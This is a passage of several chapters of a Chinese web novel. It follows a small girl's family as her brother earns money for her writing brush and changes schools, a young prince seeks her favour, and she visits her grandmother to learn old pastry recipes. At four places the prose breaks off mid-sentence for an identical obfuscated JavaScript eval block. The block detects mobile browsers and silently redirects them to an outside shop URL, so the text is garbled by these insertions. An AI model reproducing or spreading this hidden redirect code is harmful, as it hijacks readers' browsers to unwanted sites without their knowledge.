苏显走到妹妹身边,见她抱着书本,乖乖等着自己,开口道:“千字文是蒙书,更适合学习。” “咱们先学前四句,只要会跟读就好了。” 话音落下,哥哥看到小桌子上的纸张。 上面的字干净整洁,十分有力度,一看就不是寻常人的字。 他五岁启蒙,如今十一岁,写字的结构只跟这字不相上下。 这谁写的? 哥哥苏显震惊。 “原锐写的呀。”苏茵茵还道,“他今日过来玩,也是说要先学千字文。” 苏茵茵有些苦恼。 读书对她来说问题不大,最重要的是练字。 可毛笔真的太大了,她拿不住。 真愁人。 一扭头,哥哥定在原地,一脸不敢置信。 有人教妹妹了??? 那他怎么办! 今日学堂上,他可是做了详细认真的规划。 哥哥苏显甚至有些心虚,若不是自己功课做的极好,都要以为夫子喊爹娘过去,是批评他上课走神呢! 可结果呢! 一回到家,妹妹已经学过了。 哥哥不死心,又问:“今日都学了什么。” 苏茵茵乖乖读书,半本千字文读完,面无表情的哥哥面露狰狞。 这不合理。 这是他妹妹! “哥哥,我读的不对吗。” 苏显咬牙切齿:“对。” “他教你写字了吗。” 苏茵茵摇头。 正是她苦恼的地方。 “那哥教你,写字是基本功,只会读不会写,那可不行。” 他才不显摆呢,只顾着自己写,不教别人。 苏茵茵小手伸出来,五根手指凭空抓了抓,小短手指头肉乎乎的,小小巧巧。 苏显没明白过去,妹妹才道:“握不住笔。” 她的手真的太小啦。 握不住笔,就掌握不了正确的写字方法。 哥哥苏显再次定住。 十一岁的哥哥垂头丧气。 哎,他只是想教妹妹写字读书啊! “吃饭了。” 苏娘子招呼道。 兄妹俩手拉着手坐下。 苏显刚想跟娘亲说,要给妹妹买专门的笔,被苏茵茵扯了扯衣袖。 不要说呀。 特制的笔肯定很贵的。 娘亲刚刚赚钱,不好让家里买的。 苏显欲言又止,他最明白读书花费有多大。 平日里读书的花销就不小,特制的确实价格高昂。 苏茵茵偷偷说:“没关系呀,我再长大一点就好了。” 到时候就能用哥哥的文具了。 哄好哥哥,苏茵茵开开心心捧着碗吃饭。 苏显当晚,学到深夜才睡,暗下决心,他一定要早点考上秀才,给妹妹买很多很多好东西。 三月初九一大早,苏娘子带着两个婶子便在忙碌。 苏茵茵迷迷糊糊起来,就被抱着前往程家。 一百八十八对喜饼,在昨天晚上包装好,每一对喜饼外面是油纸包一层,再用红纸包裹,这样既好看也好吃。 最后再用竹篮提着送到程家。 到程家的时候,苏茵茵差不多清醒,乖乖趴在娘亲肩膀,绝对不添乱。 此时的程家则忙忙碌碌。 明日便是程张两家小定,所有东西都要预备齐全了。 那程家婆子看到苏娘子早早过来,一脸的笑意:“好好好,送的及时,还是苏娘子你这里靠谱。” 谁都喜欢跟靠谱的买卖家打交道。 苏娘子办事细致,从不出差错,喜饼齐全了,他们手头差事便少一件。 说话间,程家婆子塞了几个红包过来,连苏茵茵手里都多了红封:“讨个好彩头,回头大定喜宴还要请你们帮忙呢。” 喜饼数量确定无误,味道之前也试过。 程家当下确定后续合作。 拿着红封的李婶娘王婶娘想看有多少赏钱,又有些不好意思,过了街角,苏茵茵那边已经打开了,惊喜道:“好多钱呀。” 足足五十文呢! 那两位婶娘也开了红封,真的是五十文。 这银钱对程家来说不算什么,对他们来讲,却是极好的,够买不少米面,够许多日的口粮。 苏娘子同样高兴。 不止是给了赏钱,还有后续的合作,更是雇主的肯定。 高高兴兴回家的四个人这才吃了早饭,苏娘子又拿出两百文出来,按照说好的,两日工钱,每日五十文。 严格来说,根本不到两日,昨日一整天,今日刚到上午,活也忙完了。 但苏娘子坚持要给,昨日揉一天的面,晚上还在熬夜包喜饼,没睡多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060887|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,又起来去送货,那可不是轻松的活计。 两位婶娘推脱不了,眼睛微红收下。 来了不过一日多,就有一百文的工钱,甚至还有五十文赏钱。 苏娘子颇有些紧张,不知道怎么说才好。 苏茵茵那边抱着小碗,打了个哈欠:“娘我好困呀,你们昨天熬夜那样久,都不困吗。” 困啊。 更多却也有兴奋。 被苏茵茵这么一提,大家才意识到,昨天忙了多久,还真有些累了。 苏娘子连忙道:“下次还要再请大家帮忙呢,若不是你们,我一个人肯定忙不过来。” 送走两位婶子,苏娘子才抱着女儿叹气道:“以前你爹爹在外面时,她们也帮过我不少。” 都是家里男人在外当兵,她们平日里都会互相帮忙。 但如今近况不同,想要多帮扶,还要找些理由。 苏茵茵认真道:“娘,等咱们生意越做越大,就可以雇他们了呀。” “到时候,大家都有工作,都有饭吃。” 苏娘子被女儿逗笑:“哪有那么简单,你当人人成亲,都在咱们家定喜饼呀。” “万一呢。”苏茵茵小声嘟囔,“娘亲这样厉害,一定可以的。” 苏娘子又笑,亲亲女儿的小脸:“有宝宝在,也可以的,宝宝是咱们家最有福气的。” 上午送完程家的喜饼。 下午苏茵茵又被抱着去哥哥私塾。 这次是趴在爹爹肩膀。 “私塾里有什么事吗?”苏副使问道。 苏娘子摇头:“显儿也不知道,只讲夫子让咱们过去。” 苏显课业一直极好,在村里读书的时候,向来都是第一。 到了京城常安巷的私塾,刚开始落后于人,如今在这读第四年,再次成为第一。 这种情况,会有什么事? 苏茵茵也有些好奇,老师叫家长这种事,她从来都没有经历过。 不过听说,要么是学生特别调皮,让家长过去好好管管,要么是学生极好,家长去挨夸。 她哥一定是后一种! 夫子在苏家夫妇面前有些不知怎么开口,看到苏家小女儿的时候,没话找话道:“听说你家小女已经通读半本千字文了,不错不错。” 这自然是苏显说的。 他面无表情跟同学们炫耀,本以为同学夫子会反驳。 没想到大家都觉得这事不会有假。 哥哥这么聪明,妹妹会通读半本千字文,又有什么奇怪的! 夫子啰啰嗦嗦终于进入正题。 “咱们的私塾,虽说不止用于启蒙,但对苏显同学来说,已经有些不够用了。” “这是一封荐书,你们可以去这几家私塾看看,那边的夫子为举人,更适合你家大公子。就是私塾的费用有些高,要有些心理准备。” 苏茵茵探头探脑。 不是挨骂,也不是挨夸。 是让哥哥跳级! 哥哥是天才学生! 苏家夫妇有些懵,知道大儿子读书有天分,却不知道这般厉害。 两人正想着怎么回答,房门被夫子的助教推开,助教气得要命。 “夫子!苏显竟然帮同学写课业!一份收一百文!” 厚厚一摞课业被拿出来。 苏茵茵震惊。 这是多少个一百文啊。 哥哥不仅读书好,还生财有道? 13. 第 13 章 第13章 苏副使看看夫子给的荐书,再看看长子替别人写的课业,终于忍不住道:“是因为显儿调皮,所以让他离开私塾吗。” 苏副使说出苏家所有人的心声。 也不对啊,替别人写个课业,不至于让哥哥转学吧。 苏茵茵摇头:“哥哥才不会这样呢。” 最为震惊的还是夫子:“怎么可能!这可是我最好的学生!他从未做过这样的事!” 门口的苏显停住脚步,扭头不看房间里的人,偷偷藏好袖子里的笔袋。 苏茵茵眼尖,大眼睛不敢置信地盯着哥哥的手。 是因为她吗? 苏茵茵从爹爹怀里挣脱出来,小跑向哥哥,直接抱住哥哥大腿:“哥,对不起。” 茵茵为什么道歉? 苏显抱起妹妹,根本不接话。 苏家夫妇还未开口,夫子先一步替自己最好的学生解释:“这肯定不是苏显的错,是不是那些学生逼着你写课业了,说,都是谁,一定会好好罚他们!” 助教嘴角抽搐。 这也行? 您不看看,谁敢为难苏显啊。 夫子一拍桌子:“老夫知道了!你知道要转学,学费高昂,所以在赚读书的银资吗?” 啊? 苏显迷茫。 他要转学? 夫子叹气:“实在是我教不了你,若换个厉害的夫子,你这两年内,必然考中秀才。” “若实在负担不起这些私塾的银钱,再等两年也可以。” 苏茵茵搂着哥哥脖子,只有她知道原因,她好像又给家里添麻烦了。 替人写作业的事揭过。 苏副使,苏娘子着重了解转学的事,不过两人先支开孩子们,不让他们操心费用的事。 他们两个疼爱孩子,既然知道如今的私塾已经不合适,必然会想办法转学的。 问题在于,那些私塾的费用确实高昂,每个月至少五两银子,还不说想要考秀才,需要许多书籍。 毕竟是举人坐馆,私塾中学生也少,教的更为细致。 房间外面,苏显苏茵茵兄妹两个坐在石头上,默默等家长出来。 苏茵茵垂头丧气,头抵在哥哥手臂上。 小小的笔袋蹭了蹭苏茵茵的小手。 “看看,喜欢不。”哥哥苏显性格沉闷,此刻笨拙逗着妹妹,想让她开心。 苏茵茵当然喜欢,不看就知道自己喜欢。 因为这是哥哥买的。 苏茵茵拉住哥哥的手,少年人的手还有些肉肉的,手指中间带着写字留下的薄茧,其中有一块红红的,明显是昨晚弄的。 苏茵茵轻轻吹了下,声音闷闷的:“对不起哥。” “傻妹妹。”苏显揉揉妹妹的头,又给她整理好,“你是我妹妹。” “而且,这次不能让别人抢先!” 别人? 哥哥怎么突然燃起斗志了。 十一岁的哥哥苏显认真道:“别人有的,妹妹也要有。” 苏茵茵摸不着头脑。 哥哥在干嘛啊。 苏茵茵拆开笔袋,里面是一支漂亮的诸葛笔,笔杆纤细,正适合三岁的娃娃用。 一般来说,只有富贵人家的孩子,才会在两三岁接触笔墨,故而这个年龄段可用的毛笔,都是上等货,最便宜的也要三两银子一支。 三两,哥哥一晚上写了三十份课业? 苏茵茵更心疼了,抱着哥哥的手,眼泪差点掉下来。 苏显则道:“平日他们求着我,我才写,便宜他们了。” 苏茵茵破涕为笑,揉着哥哥的手,又有点想哭。 从房间出来的苏家夫妇好气又好笑,看着女儿手里的毛笔,哪能不知道怎么回事。 苏副使一手抱一个,故意板着脸:“回去就挨打。” “不要打哥哥。”苏茵茵立刻道,“爹爹打我吧。” 苏副使哪舍得打人,两个小孩靠在一起,他宝贝还来不及。 回家的路上,苏茵茵把笔袋捧在怀里,怎么看怎么喜欢。 不过哥哥的斗志到底哪里来的啊。 苏家门口,李锐渊手里提着一个小书箱,无论从大小还是规格,都是小朋友所用的。 里面所有文房四宝,全都是李锐渊精心从父皇库房里挑选。 他今日课业结束之后,立刻去扒拉库房,总算选出满意的东西,马不停蹄赶来。 但是苏家没人。 他敲了好几次都没人。 “原锐!你今天不是要上学吗。” 苏家四口回来,一眼就看到门口的小门神。 苏显冷笑。 他就知道! 有人要抢他的妹妹。 这么好的妹妹,只能是他的。 苏茵茵的话让李锐渊立刻抬头,李锐渊眼神不变,却在她紧紧捧着的笔袋上停顿。 “恰好路过。” 李锐渊紧握手里的精致小书箱,往苏茵茵手里塞:“送给你。” 那个破笔袋,肯定不如他的! 苏茵茵震惊,小手根本提不动这么重的书箱,好在李锐渊及时发现,赶紧提稳了。 “里面是适合你用的毛笔。”李锐渊一一介绍,“还有这个墨,很好洗,弄脸上也不会脏。” 这下不止苏茵茵震惊,苏家夫妇同样诧异。 他们两个一看就知道,单书箱便价值不菲,不要说里面的笔墨纸砚更是上乘。 这哪能要。 “这太贵重了。” 不等苏家夫妇拒绝,苏茵茵立刻道,又举了举手里的笔袋:“我已经有合适的笔啦,我哥哥给买的。” 说着,苏茵茵拆开笔袋让原锐看,美滋滋道:“好看吧。” 李锐渊想说不好看,却不能让小宝宝难过,只能随便嗯了声,然后把书箱往苏家门口一放,扭头就跑。 他身后的仆从跑得更快,根本不给反应的时间。 苏副使有心想追,却又觉得追个小孩,会不会被当人贩子啊。 苏显直接道:“他肯定还会来,下次还给他!” 妹妹都说了! 更喜欢他送的! 小书箱被放到苏茵茵的房间里,等原锐再来的时候还给他。 笔袋则被她放到靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060888|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗的小书桌上,明显会经常使用。 这个房间是她还未出生,家人就准备好的,租房子的时候,便想过给她留一间。 虽然现在还没住进来,但里面东西一应俱全,全都她的东西。 小书桌是新买的,正适合她的身高,旁边架子上,则是她这几年的玩具。 苏茵茵东摸摸西看看,确定每一样东西都碰一遍,最后在干净柔软的床铺上躺着。 自己的房间哎。 上辈子直到离开人世,她都没有自己的房间。 这辈子不仅有了,还有好多好多礼物。 今天晚上,要不然自己睡吧? 苏家夫妇完全不知道,女儿已经想自己单独睡觉了,正想办法躲着儿子女儿算算账。 为何要躲着他们? 谁让这两个太聪明。 儿子读书好,话少却早慧。 女儿更是小机灵鬼,什么算数在她脑子里过一遍就有答案。 若让他们知道家里银钱不够孩子读书的,肯定会偷偷省吃俭用。 这会两人都在自己的房间,苏家夫妇终于敢算账目了。 苏副使的岁俸是固定的,每年十二石麦,折银五十七两,加上银钱三十六两,共计九十三两。 每个月到手七两七钱左右,再加上兵马司给的补贴,差不多是八两银子。 银钱说起来不少,每个月却要给出二两的租房费。 在汴京租到二两四人住的宅子,都是托兵马司的福。 家里的花销,家里老人的看病等等,一个月能留下一两银子算不错的,多数时候,这一两银子还会被借出去。 苏娘子开店之后,家里情况好一些。 慧女点心二月二十开业,到今日三月初九,差不多可以估算出一个月能有十两左右的利润收入。 扣掉每个月四两的店面租金,实际到手六两左右。 苏家夫妇两个算的脑袋疼,总算把账目理清楚。 闺女在就好了,绝对算得又快又准。 两人收入加起来,再减去必要的支出,余下的六两银钱,勉强够长子去更好的私塾读书。 “京城居不易啊。”苏副使无奈。 苏娘子点头,把喜饼的银钱列出来:“好在有喜饼撑着,不至于一分钱不剩。” 没想到,喜饼收入倒是成他们家唯一可以存起来的积蓄。 “要是能多接几次,咱们就不用为银钱发愁。” 夫妇把算盘拨出火星子,另一个房间里,躺在床上的苏茵茵盯着天花板,小声道:“要想办法多卖些喜饼。” “不然家里攒不到钱的。” 哥哥的夫子说,只要哥哥去更好的私塾读书,这几年就可以去考秀才。 考秀才要花钱的,报名要花钱,备考要花钱,笔墨纸砚更要花。 必须提前攒够。 苏茵茵跳下床,又把笔袋拿到怀里,再次躺在床上。 哥哥对她好,她也要对哥哥好。 赚钱,必须赚钱。 跟着爹娘跑了一天的苏茵茵抱着哥哥送的笔袋昏昏欲睡。 她一定能赚到钱的! 14. 第 14 章 第14章 “宝宝醒了吗。” 苏副使小声问道。 苏娘子悄悄打开女儿的房门:“还没呢。” 哥哥也凑过去看。 这是妹妹第一次自己睡觉,他们都很担心。 昨晚苏家夫妇算完账才发现,女儿在自己的房间里睡着了。 犹豫许久,苏娘子还是给她盖好被子,没有打扰。 不过苏副使跟苏娘子翻来覆去睡不着。 虽说女儿已经三岁,分房睡也没问题,可这心里,怎么空落落的。 一大清早,连带着早起读书的苏显都不停来看。 还在梦乡的苏茵茵对此完全不知情,她只知道自己睡得很安稳,甚至梦里还在做点心呢。 “私塾那边先不去了。”苏家夫妇昨日商量过,这会正好同长子说道,“这几日让你爹爹带着,去这几家私塾看看。” 苏显早慧,知道为何要换私塾,对此并未异议,只是看到那几家私塾的名字,稍稍迟疑。 他知道那些私塾,价格都不便宜。 苏娘子苏副使却不准孩子拒绝:“咱们家供得起,放心。” 苏显微微点头,他相信爹娘。 而且他读书,也会有回报的。 一定会以最快的速度考上秀才。 所以苏茵茵揉着眼睛起床,正好挥着小手送爹爹哥哥出门。 爹爹甚至穿了过节的新衣哎。 想要去好私塾上学,有钱只是门槛,还要考究学生的学问,以及家里长辈的情况。 古代求学,也难呀。 苏娘子在厨房准备今日的点心,苏茵茵吃过早饭,就在旁边帮忙。 一连两日,苏副使带着长子去私塾“面试”。 苏娘子带着小女儿开店,苏茵茵没事的时候就在店里练字,顺便帮忙算账。 只是去的私塾越多,苏副使的眉头皱得越深。 五家私塾,其中三家学生招满,还有一家夫子不行。 最后一家还未松口,可瞧着看不上军户人家的子弟。 苏家其实并不算军户人家,还是正经的平民籍。 到底军中出身,有些清流读书人看不上,便是硬要去读,情况也不会太好。 想要找个合适的私塾,实在太难了。 钱不够,身份也不够。 苏茵茵再次挥手送爹爹哥哥出门,迎面看到自己的小伙伴!原锐! 李锐渊熟练走进慧女点心店内,本就不大的店面后面,有张新打的小桌子,专门用来给小宝宝读书用。 桌子上文房四宝俱全。 就是上面的东西,都不是他送的。 李锐渊依旧没什么表情,坐到苏茵茵身边的小凳子上,开口道:“我今天继续教你读书吧。” 苏茵茵迟疑,摇摇头:“先练字吧。” 不用他送的东西,还不让他教学。 李锐渊垂眼。 下一秒,李锐渊的小脸被苏茵茵戳了戳:“好吧,你教吧。” 突然又让教了? 为什么? 苏茵茵笑眯眯道:“不要不开心呀。” 苏茵茵摊开千字文,翻到上次小伙伴教学的地方:“上次就是这里吧。” 六岁的李锐渊抬头看着小宝宝,同样戳了戳她的脸颊,停顿片刻,扭头道:“不教了。” 为什么? 苏茵茵没有在心里想,直接说了出来:“为什么呀,你不高兴吗。” 李锐渊皱眉:“是你不高兴。” 他不想让小宝宝勉强自己。 这对话听的苏茵茵晕晕乎乎,嫩嫩的脸颊又被戳了下,小伙伴已经换了话题:“你在想什么。” 问到这个,苏茵茵趴在桌子上,偷偷看眼招呼客人的娘亲,凑到小伙伴耳边轻声道:“在想怎么赚钱。” 所以,是在想怎么赚钱,不是讨厌他教读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060889|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书吗。 李锐渊摸摸荷包,荷包里什么也没有。 他出门不用带银钱。 苏茵茵看着他的动作,赶紧按住:“我是说赚,自己赚。” 不是要钱啊! “赚钱很难。”李锐渊道,“我父,我父亲也在想怎么赚钱。” 父皇每日都在为“赚钱”发愁。 苏茵茵十分认可。 “成了!”苏副使带着儿子快步走到店门前,来不及进门就道,“今日的私塾收下显儿,明日就能去上课!” 苏娘子,苏茵茵都一脸兴奋。 苏茵茵一扫方才的担忧,蹦跶着去抱住哥哥:“哥哥真厉害。” 苏显揉揉妹妹脑袋,认真嗯了声。 “功夫不负有心人,今日那私塾坐馆的夫子还是进士。”苏副使难得如此开怀,“一看显儿的文章,便收下了。” 夫子是进士? 苏茵茵一愣。 过了会,苏副使跟苏娘子微微点头。 进士夫子的学费,自然更贵。 但不论如何,这学,他们肯定要上。 苏副使说罢,还从怀里掏出一沓纸张,上面引着杏花的纹样:“我看人家女娃娃写字,都用这种纸,茵茵喜不喜欢。” 十分漂亮的杏花纸,上面还有淡淡的香味。 好看。 喜欢! 苏茵茵一手拿着哥哥买的毛笔,一手是爹爹买的杏花纸,笑的眼睛弯弯。 李锐渊站在一旁。 他送的明明更好。 可看着小宝宝的笑,又不好说什么。 他一定会送更好的东西,让小宝宝只喜欢他送的。 那小宝宝喜欢什么。 赚钱吗? 李锐渊抬头,他要带着小宝宝赚钱! 下定决心的李锐渊看了眼被小宝宝抱住的哥哥,扭过头。 他一点也不想被抱住,一点也不想。 15. 第 15 章 第15章 怎么挣钱,是个大问题。 特别是对三岁,六岁的小孩子来说。 李锐渊看着并不大的店面,又看看店里只有三种点心,开口道:“或许要研究新点心。” 其他还好,对于吃食,李锐渊完全没有主意。 在他这里,多数东西都入不了口,甚至会恶心反胃。 苏茵茵想的也差不多。 她认真考虑过了,现在店里的生意已经接近稳定,每月的收入也很稳定,想要增加收入,只能在新点心上下功夫。 苏茵茵脑子里的点心类型倒是五花八门,可她不知道那些点心,符不符合这里人的口味。 想要研究新品,就要先调研本地产品。 评价一样食物好不好吃,跟当地人的喜好有很大关系。 苏茵茵并没有自大到,以为现代点心就会所向披靡。 两个小朋友凑一起嘀嘀咕咕,李锐渊开口:“我家点心多,可以给你带。” 苏娘子总算听明白两人在说什么,哭笑不得:“店里确实要增加不同类型的点心,你们两个怎么先琢磨起来了。” 苏娘子早有些准备,只是一直没拿定主意。 她想去找找婆婆,请婆婆再教她几种点心的做法。 之前店刚开,又临时做了程张两家喜饼的买卖,这才耽误。 现在家里需要银钱,她必须让生意再做大一些。 苏茵茵李锐渊两个小娃娃抬头看向苏娘子。 啊? 他们两个刚有念头。 大人已经准备行动了? 苏副使拍拍两个小孩的脑袋:“家长在,还用你们操心?” 暗卫们差点跳出来。 谁敢碰他们殿下的头啊! 这合适吗! 就连哥哥苏显都坐到他们面前,认真道:“我还可以替人写课业” 苏显明显看着李锐渊说的,下巴抬起:“不需要外人担心。” 苏副使也给他脑袋来一下:“你也是个小孩!” 小孩子好好玩就行了,不要管大人的事。 三个小孩被赶回家玩,慧女点心留下苏副使,苏娘子。 从街头走到巷尾,十一岁,六岁,三岁的小孩们一脸迷茫。 计划刚开始,就被打散了? 苏娘子说做就做,准备闭店一段时日,带着茵茵去京郊乡下住半个月。 既是请婆婆教她新手艺,也带孩子给奶奶看看。 苏副使要当值,苏显则要上课,就不跟着去了。 苏茵茵震惊。 这还是她这辈子头一次出远门哎。 而且,好像家里每次遇到什么困难,娘亲爹爹都会第一时间解决。 根本不需要她。 别人家的穿越,开店,做买卖,挣钱。 她的穿越,睡觉,吃饭,跟小伙伴玩耍。 苏茵茵看着爹娘收拾东西,窝在小凳子上,眼睛呆呆愣愣的。 苏娘子还以为她困了,抱起宝宝:“困了?娘亲先哄你睡觉。” 苏茵茵小小嗯了声,提出这辈子第一个请求:“娘亲,我可以听摇篮曲吗。” “可以呀。”苏娘子以前就唱过,但这还是茵茵头一次自己提出来。 犹豫片刻,小宝宝还是在主屋睡觉,现在分房睡,太早啦。 苏副使轻手轻脚,一向严肃的脸上出现温柔。 母女两个在床上哄睡,儿子在准备明日的课业,他手下利落,收拾回乡的行李。 三月中旬,夜晚明月洒在小院里,静谧又美好。 回乡。 还是回奶奶家。 自苏茵茵出生起,还从未见过奶奶呢。 奶奶身体不好,不能过来。 苏家四口平日也忙,特别是逢年过节,兵马司总是最为忙碌,不好全家回乡前去。 顶多是苏副使往老家跑的勤一些,苏茵茵年纪小,更不会让她奔波。 两日后。 苏茵茵就被抱到门口的马车上。 车夫客气道:“苏副使放心吧,一定会把您家娘子女儿平安送到的。” 苏茵茵扒着窗户跟爹爹哥哥挥手。 等会! 忘了一件事。 苏茵茵连忙道:“原锐明日会过来,哥哥你帮我说一声。” 苏显原本不想答应,他总觉得那个小孩对妹妹“不怀好意”。 可苏茵茵又道:“还有那个书箱,上次忘记还了。” 上次两个人满脑子挣钱,又被爹娘打断,倒是忘了书箱的事。 哥哥苏显这才点头。 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060890|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的李锐渊已经在上课。 胡子花白的太傅当年连中两元考上进士,在朝为官四十载,入翰林进内阁,是天下读书人遥不可及的榜样。 这样厉害的人物,是李锐渊的蒙师。 李锐渊望向窗外,手下的笔墨记得更加细致。 国家缺钱,百姓家缺钱。 为何? 父皇说,是他们做的不够好,才让百姓,官员,日子贫苦,生计艰难。 他想让小宝宝不为银钱发愁,可以做的更多,还想让小宝宝抱住他。 不是直接给她银钱。 她不会要。 这更不是治标的方法。 太傅暗自感叹,不过几日时间,太子愈发不同,明明只是六岁稚子,身上却像担负更多重担。 这份重担并未让他显得阴沉,反而目标坚定,与往日不同。 太傅眼中的稳重稚子,在知道小宝宝回乡之后,整个人都傻了。 回乡了? 什么时候回来? 苏显急着去上课,直接道:“少则半个月,多则两月吧。” 多久? 李锐渊后退半步,半个月? “或许两个月。”哥哥苏显毫不留情,把小书箱提了出来,“这个还你。” 小宝宝要还书箱,李锐渊有心理准备,并不惊讶,只是抬头看看小宝宝的哥哥,开口道:“这里面的东西,都是最适合茵茵的。” “如果用不好的墨水,会损伤宝宝的皮肤。” 纸张太过粗糙,也会让小孩的皮肤磨损。 苏显读书时间长,对此很了解。 听完原锐的话,默默拿回书箱。 妹妹的手确实娇嫩,不能用太粗糙的东西。 两个小孩达成默契,倒不是认为这些东西有多好,只是为了苏茵茵的健康着想。 李锐渊垂眼,看了看慧女点心,直接离开。 等小宝宝回来再说。 他会好好读书,让小宝宝再也不用发愁银钱,更不用去那么远的地方学手艺。 都是因为他父皇做的不够好,这才让百姓没钱的。 半个月,真的好久。 就是不知道,小宝宝会不会想他,也许会提前回来? 会吧,他可是茵茵最好的朋友,一定会想他的。 16. 第 16 章 第16章 此刻的苏茵茵揉着眼睛,坐门口打哈欠。 昨天一早出发,终于在天黑前到了地方。 京郊,桐义镇,肃河村。 回来之后才知道,为什么三年来,从未带她回来过。 这路实在太难走了。 还是最近没下雨,路况不错的情况。 苏茵茵困得不行,强撑精神见了病榻上的奶奶,奶奶由自己的亲妹妹,也就是姨奶一家照顾。 平日的花销医药都是苏家两个儿子家送过来,格外再给他们一份辛苦钱。 姨奶家猛然看到苏家来人,甚至有些紧张,只怕他们把苏奶奶接走,那额外的收入就没有了。 苏奶奶不愿去京城住,也有这方面的原因。 京城对她来说太远,不习惯。 再者可以帮妹妹家挣点收入。 平日两个老姐妹住在苏娘子跟苏副使的房子里,吃饭由姨奶的晚辈们送过来,照顾的还算妥帖。 知道他们不是来接人的,大家都松口气,对苏娘子,苏茵茵更亲热了。 苏茵茵手腕还多了个银镯子,奶奶拉着她的手道:“好孙女,总算见到,生得可真好,大眼睛。” 说着说着,苏奶奶有些疲惫,这才松开手。 苏茵茵头一次跟老人接触,上辈子爸妈都没见过的她,更没见过奶奶,只觉得奶奶的手掌粗糙,却很温暖。 一大早,苏茵茵被村里鸡鸣吵醒,坐在门口继续打哈欠。 看到手腕的银镯子,一对是爹爹娘亲买的,另一个是奶奶给的。 两个镯子的花纹不一样,都很漂亮。 苏茵茵听到厨房有动静,小短腿跑过去,见娘亲正在打扫。 “宝宝睡醒了?来吃早饭。” 今日没有牛奶,只有一个鸡蛋,还有一碗稀粥。 苏茵茵依旧吃的津津有味,眼睛下意识往奶奶屋子里看。 苏娘子见此,开口道:“娘亲要打扫厨房,你要不要去陪陪奶奶说说话。” 厨房长时间没用,需要收拾出来,这才能学新点心。 苏奶奶对教学并不排斥,也说越快越好,她教会大儿媳,却只教了二儿媳三种点心做法,是她的心病。 苏茵茵乖乖点头,刚想去刷碗,又被娘亲抢先:“去吧,奶奶很喜欢你。” 喜欢她吗。 苏茵茵有些不确定。 她不知道怎么跟奶奶相处哎。 平日里哒哒哒走路的苏茵茵,这次悄悄走到屋前。 屋门开着,用旧布做了个帘子,轻飘飘的,能看到外面踌躇的小娃娃。 “是茵茵吗?”苏奶奶惊喜道。 旧布帘被掀开一个角,露出个大眼睛白嫩嫩的小娃娃。 “奶奶好。” “姨奶好。” 苏茵茵乖乖打招呼,两个老人笑得眼睛都看不到了。 “好好好,真是个嘴甜漂亮的小娃娃。” 苏茵茵被夸的不好意思,又往前走了几步:“奶奶,谢谢您送茵茵的镯子,很好看。” 胖乎乎的小胳膊抬起来,上面是昨晚苏奶奶送的银镯,明明是个简单的镯子,却像珍宝一样被展示。 苏奶奶一瞬间,想把自己压箱底所有首饰都拿出来,全送给她家小孙女。 怪不得二儿子每次回来,都说小女儿多乖巧可爱,一点都没错。 姨奶都不知道,苏奶奶又从哪里摸出一个银镯子,在苏茵茵另一个手腕也戴上,口中念道:“左定神,右名目,水旺财旺,事事顺遂。” 苏茵茵眨眼,傻乎乎摸摸银镯子。 银镯还有这种效果吗。 即使知道是随口的俗语,也让苏茵茵忍不住靠近奶奶。 有爹娘哥哥很好,有奶奶也很好。 苏家厨房太久没人用,一上午时间才收拾出来。 等到正式教学,已经是当天下午。 姨奶自觉避让,留下苏奶奶,苏娘子,苏茵茵在这。 在古代,点心方子便是传家宝。 苏奶奶成了苏家儿媳,这才学会,故而就算是她的亲妹妹,也不能听。 “我刚嫁到苏家那会,苏家在京城只剩五间铺子,后来陆陆续续关停三处,只剩下城西,城北两个店。” “家婆当年会做三十七样点心,可惜教我的时候,有九样食材不好买,只留下了方子。” 苏奶奶说话断断续续,但关于苏家点心的事,还是记得清清楚楚。 这既是给儿媳讲,也是给孙女讲。 苏茵茵听的津津有味,听到各类点心名字的时候,下意识擦擦嘴角,听着就好好吃。 她之前还想着调研呢,这不是现成的数据。 能被经久流传下来的方子,定然不错。 说了片刻,苏奶奶半躺着歇息会,才道:“扶着我去灶台吧。” 